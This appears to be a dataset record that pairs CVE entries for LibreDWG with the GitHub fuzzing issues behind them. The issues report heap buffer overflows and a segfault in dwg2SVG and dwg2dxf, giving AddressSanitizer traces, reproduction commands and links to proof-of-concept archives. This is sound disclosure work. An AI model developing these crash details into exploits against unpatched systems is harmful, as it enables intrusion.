0x5578201d2abb in dwg_is_valid_tag /libredwg/src/dwg_api.c:22060 #2 0x5578201d2abb in dwg_is_valid_tag /libredwg/src/dwg_api.c:22048 #3 0x55781fad74de in dwg_decode_ATTRIB_private /libredwg/src/dwg.spec:204 #4 0x55781fc611ec in dwg_decode_ATTRIB /libredwg/src/dwg.spec:187 #5 0x55782000d3a2 in decode_preR13_entities /libredwg/src/decode.c:6520 #6 0x55782005859c in decode_preR13 /libredwg/src/decode_r11.c:719 #7 0x55781ffd9a6a in dwg_decode /libredwg/src/decode.c:217 #8 0x55781f6c5d77 in dwg_read_file /libredwg/src/dwg.c:261 #9 0x55781f6bb57c in main /libredwg/programs/dwg2SVG.c:979 #10 0x7faa3dcaf082 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x24082) #11 0x55781f6bbc1d in _start (/validate/dwg2SVG/dwg2SVG+0x206c1d) 0x60400000097a is located 0 bytes to the right of 42-byte region [0x604000000950,0x60400000097a) allocated by thread T0 here: #0 0x7faa3e0d9a06 in __interceptor_calloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cc:153 #1 0x55781f6e183a in bit_utf8_to_TU /libredwg/src/bits.c:2856 SUMMARY: AddressSanitizer: heap-buffer-overflow /libredwg/src/bits.c:1834 in bit_wcs2nlen Shadow bytes around the buggy address: 0x0c087fff80d0: fa fa 00 00 00 00 00 00 fa fa 00 00 00 00 00 00 0x0c087fff80e0: fa fa 00 00 00 00 00 00 fa fa 00 00 00 00 00 00 0x0c087fff80f0: fa fa 00 00 00 00 00 00 fa fa 00 00 00 00 00 00 0x0c087fff8100: fa fa 00 00 00 00 00 00 fa fa 00 00 00 00 00 fa 0x0c087fff8110: fa fa 00 00 00 00 00 00 fa fa 00 00 00 00 00 00 =>0x0c087fff8120: fa fa 00 00 00 00 00 00 fa fa 00 00 00 00 00[02] 0x0c087fff8130: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c087fff8140: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c087fff8150: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c087fff8160: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c087fff8170: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb Shadow gap: cc ==19713==ABORTING ``` ## POC [poc.zip](https://github.com/LibreDWG/libredwg/files/11118078/poc.zip) ## Credit Han Zheng (Hexhive, NCNIPC of China)

[FUZZ] two bugs in dwg2SVG

https://api.github.com/repos/LibreDWG/libredwg/issues/681/comments

2023-03-31T04:10:48Z

2023-03-31T13:37:12Z

https://github.com/LibreDWG/libredwg/issues/681

CVE-2023-36272

2023-06-23T15:15:10.103

LibreDWG v0.12.5 was discovered to contain a heap buffer overflow via the function bit_utf8_to_TU at bits.c.

https://github.com/LibreDWG/libredwg/issues/681#BUG1

github.com

Hello, I was testing my fuzzer and found two bugs in dwg2SVG. ## environment ubuntu 20.04, GCC 9.4.0, libredwg latest commit 9df4ec3c524795a401acf371c8a953f5b1a6fadf compile with ``` ./autogen.sh && ./configure --disable-shared && make -j$(nproc) ``` ##BUG1 ``` ./dwg2SVG ../pocs/poc0.bit_utf8_to_TU ================================================================= ==19712==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6020000000dc at pc 0x5603ca37f05a bp 0x7fff049b1c90 sp 0x7fff049b1c80 WRITE of size 2 at 0x6020000000dc thread T0 #0 0x5603ca37f059 in bit_utf8_to_TU /libredwg/src/bits.c:2883 #1 0x5603cae6faab in dwg_is_valid_tag /libredwg/src/dwg_api.c:22059 #2 0x5603cae6faab in dwg_is_valid_tag /libredwg/src/dwg_api.c:22048 #3 0x5603ca7744de in dwg_decode_ATTRIB_private /libredwg/src/dwg.spec:204 #4 0x5603ca8fe1ec in dwg_decode_ATTRIB /libredwg/src/dwg.spec:187 #5 0x5603cacaa3a2 in decode_preR13_entities /libredwg/src/decode.c:6520 #6 0x5603cacf559c in decode_preR13 /libredwg/src/decode_r11.c:719 #7 0x5603cac76a6a in dwg_decode /libredwg/src/decode.c:217 #8 0x5603ca362d77 in dwg_read_file /libredwg/src/dwg.c:261 #9 0x5603ca35857c in main /libredwg/programs/dwg2SVG.c:979 #10 0x7fc02854f082 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x24082) #11 0x5603ca358c1d in _start (/validate/dwg2SVG/dwg2SVG+0x206c1d) 0x6020000000dc is located 0 bytes to the right of 12-byte region [0x6020000000d0,0x6020000000dc) allocated by thread T0 here: #0 0x7fc028979a06 in __interceptor_calloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cc:153 #1 0x5603ca37e83a in bit_utf8_to_TU /libredwg/src/bits.c:2856 SUMMARY: AddressSanitizer: heap-buffer-overflow /libredwg/src/bits.c:2883 in bit_utf8_to_TU Shadow bytes around the buggy address: 0x0c047fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c047fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c047fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c047fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c047fff8000: fa fa 00 00 fa fa 00 fa fa fa 00 fa fa fa 00 00 =>0x0c047fff8010: fa fa 02 fa fa fa 01 fa fa fa 00[04]fa fa fa fa 0x0c047fff8020: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb Shadow gap: cc ==19712==ABORTING ``` ##BUG2 ``` ./dwg2SVG ../pocs/poc1.bit_wcs2nlen ==19713==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60400000097a at pc 0x55781f6dd09d bp 0x7ffc201cb2e0 sp 0x7ffc201cb2d0 READ of size 2 at 0x60400000097a thread T0 #0 0x55781f6dd09c in bit_wcs2nlen /libredwg/src/bits.c:1834 #1 0x5578201d2abb in dwg_is_valid_tag /libredwg/src/dwg_api.c:22060 #2 0x5578201d2abb in dwg_is_valid_tag /libredwg/src/dwg_api.c:22048 #3 0x55781fad74de in dwg_decode_ATTRIB_private /libredwg/src/dwg.spec:204 #4 0x55781fc611ec in dwg_decode_ATTRIB /libredwg/src/dwg.spec:187 #5 0x55782000d3a2 in decode_preR13_entities /libredwg/src/decode.c:6520 #6 0x55782005859c in decode_preR13 /libredwg/src/decode_r11.c:719 #7 0x55781ffd9a6a in dwg_decode /libredwg/src/decode.c:217 #8 0x55781f6c5d77 in dwg_read_file /libredwg/src/dwg.c:261 #9 0x55781f6bb57c in main /libredwg/programs/dwg2SVG.c:979 #10 0x7faa3dcaf082 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x24082) #11 0x55781f6bbc1d in _start (/validate/dwg2SVG/dwg2SVG+0x206c1d) 0x60400000097a is located 0 bytes to the right of 42-byte region [0x604000000950,0x60400000097a) allocated by thread T0 here: #0 0x7faa3e0d9a06 in __interceptor_calloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cc:153 #1 0x55781f6e183a in bit_utf8_to_TU /libredwg/src/bits.c:2856 SUMMARY: AddressSanitizer: heap-buffer-overflow /libredwg/src/bits.c:1834 in bit_wcs2nlen Shadow bytes around the buggy address: 0x0c087fff80d0: fa fa 00 00 00 00 00 00 fa fa 00 00 00 00 00 00 0x0c087fff80e0: fa fa 00 00 00 00 00 00 fa fa 00 00 00 00 00 00 0x0c087fff80f0: fa fa 00 00 00 00 00 00 fa fa 00 00 00 00 00 00 0x0c087fff8100: fa fa 00 00 00 00 00 00 fa fa 00 00 00 00 00 fa 0x0c087fff8110: fa fa 00 00 00 00 00 00 fa fa 00 00 00 00 00 00 =>0x0c087fff8120: fa fa 00 00 00 00 00 00 fa fa 00 00 00 00 00[02] 0x0c087fff8130: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c087fff8140: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c087fff8150: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c087fff8160: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c087fff8170: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb Shadow gap: cc ==19713==ABORTING ``` ## POC [poc.zip](https://github.com/LibreDWG/libredwg/files/11118078/poc.zip) ## Credit Han Zheng (Hexhive, NCNIPC of China)

[FUZZ] two bugs in dwg2SVG

https://api.github.com/repos/LibreDWG/libredwg/issues/681/comments

2023-03-31T04:10:48Z

2023-03-31T13:37:12Z

https://github.com/LibreDWG/libredwg/issues/681

CVE-2023-36273

2023-06-23T15:15:10.160

LibreDWG v0.12.5 was discovered to contain a heap buffer overflow via the function bit_calc_CRC at bits.c.

https://github.com/LibreDWG/libredwg/issues/677#BUG1

github.com

Hello, I was testing my fuzzer and found two bugs in dwg2dxf, which is different from #368 and #484 ## environment ubuntu 20.04, GCC 9.4.0, libredwg latest commit 77a85621de6e2c7ea44bc48c02e52dac97778ecb compile with ``` ./autogen.sh && ./configure --disable-shared && make -j$(nproc) ``` ## BUG1 ``` /libredwg/programs/dwg2dxf /pocs/pocs/dwg2dxf/poc0.bit_calc_CRC Reading DWG file /pocs/pocs/dwg2dxf/poc0.bit_calc_CRC ERROR: Header CRC mismatch 0003 <=> 3C16 Warning: @0x3d7 => start 0x3c5 ERROR: DWG_SENTINEL_R11_ENTITIES_BEGIN mismatch ERROR: DWG_SENTINEL_R11_ENTITIES_END mismatch .... AddressSanitizer:DEADLYSIGNAL ================================================================= ==78==ERROR: AddressSanitizer: SEGV on unknown address 0x62100a3d71b3 (pc 0x563f38494cff bp 0x7ffd51ea1fa8 sp 0x7ffd51ea09e0 T0) ==78==The signal is caused by a READ memory access. #0 0x563f38494cfe in bit_calc_CRC /libredwg/src/bits.c:3456 #1 0x563f38db6295 in decode_preR13_auxheader /libredwg/src/decode.c:6278 #2 0x563f38e0736a in decode_preR13 /libredwg/src/decode_r11.c:786 #3 0x563f38d8532a in dwg_decode /libredwg/src/decode.c:217 #4 0x563f38472a67 in dwg_read_file /libredwg/src/dwg.c:261 #5 0x563f38470c9c in main /libredwg/programs/dwg2dxf.c:261 #6 0x7efdc3332082 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x24082) #7 0x563f3847153d in _start (/libredwg/programs/dwg2dxf+0x23a53d) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /libredwg/src/bits.c:3456 in bit_calc_CRC ==78==ABORTING ``` ## BUG2 ``` /libredwg/programs/dwg2dxf -y /pocs/pocs/dwg2dxf/poc1.bit_write_TF Reading DWG file /pocs/pocs/dwg2dxf/poc1.bit_write_TF Warning: Invalid sections: 0 != numgaps: 0 + numsections: 26 ERROR: Invalid .props x 33456 ERROR: bit_read_RC buffer overflow at 1704.1 + 0 > 1704 Warning: Unstable Class entity 504 WIPEOUT (0x87f) 111/0 Warning: Unstable Class object 506 MATERIAL (0x481) 114/0 Warning: Unstable Class object 506 MATERIAL (0x481) 122/0 Warning: Unstable Class object 506 MATERIAL (0x481) 130/0 Warning: Unstable Class object 508 TABLESTYLE (0xfff) 164/0 ERROR: Invalid bitsize 445692418 > 1536 ... ================================================================= ==83==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x62500000228f at pc 0x5567bafe7bf1 bp 0x7ffc90495880 sp 0x7ffc90495870 READ of size 1 at 0x62500000228f thread T0 #0 0x5567bafe7bf0 in bit_write_TF /libredwg/src/bits.c:1675 #1 0x5567bbb416b4 in dwg_convert_SAB_to_SAT1 /libredwg/src/out_dxf.c:2150 #2 0x5567bbbb2164 in dxf_3dsolid /libredwg/src/out_dxf.c:2398 #3 0x5567bbbb2164 in dwg_dxf_REGION_private /libredwg/src/dwg.spec:2990 #4 0x5567bbc6acbe in dwg_dxf__3DSOLID /libredwg/src/dwg.spec:2994 #5 0x5567bbc6acbe in dwg_dxf_object /libredwg/src/out_dxf.c:2774 #6 0x5567bbc9ab52 in dxf_entities_write /libredwg/src/out_dxf.c:3635 #7 0x5567bbc9ab52 in dwg_write_dxf /libredwg/src/out_dxf.c:3796 #8 0x5567bafc5ce8 in main /libredwg/programs/dwg2dxf.c:339 #9 0x7f5740a12082 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x24082) #10 0x5567bafc653d in _start (/libredwg/programs/dwg2dxf+0x23a53d) 0x62500000228f is located 0 bytes to the right of 8591-byte region [0x625000000100,0x62500000228f) allocated by thread T0 here: #0 0x7f5740e3ca06 in __interceptor_calloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cc:153 #1 0x5567bb00fa85 in decode_3dsolid /libredwg/src/dwg.spec:2706 #2 0x21c6 (<unknown module>) SUMMARY: AddressSanitizer: heap-buffer-overflow /libredwg/src/bits.c:1675 in bit_write_TF Shadow bytes around the buggy address: 0x0c4a7fff8400: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c4a7fff8410: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c4a7fff8420: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c4a7fff8430: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c4a7fff8440: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x0c4a7fff8450: 00[07]fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c4a7fff8460: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c4a7fff8470: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c4a7fff8480: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c4a7fff8490: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c4a7fff84a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb Shadow gap: cc ==83==ABORTING ``` ## POC [poc.zip](https://github.com/LibreDWG/libredwg/files/11107648/poc.zip) ## Credit Han Zheng (NCNIPC of China, Hexhive)

[FUZZ] two bugs in dwg2dxf

https://api.github.com/repos/LibreDWG/libredwg/issues/677/comments

2023-03-30T04:10:56Z

2023-04-04T14:03:23Z

https://github.com/LibreDWG/libredwg/issues/677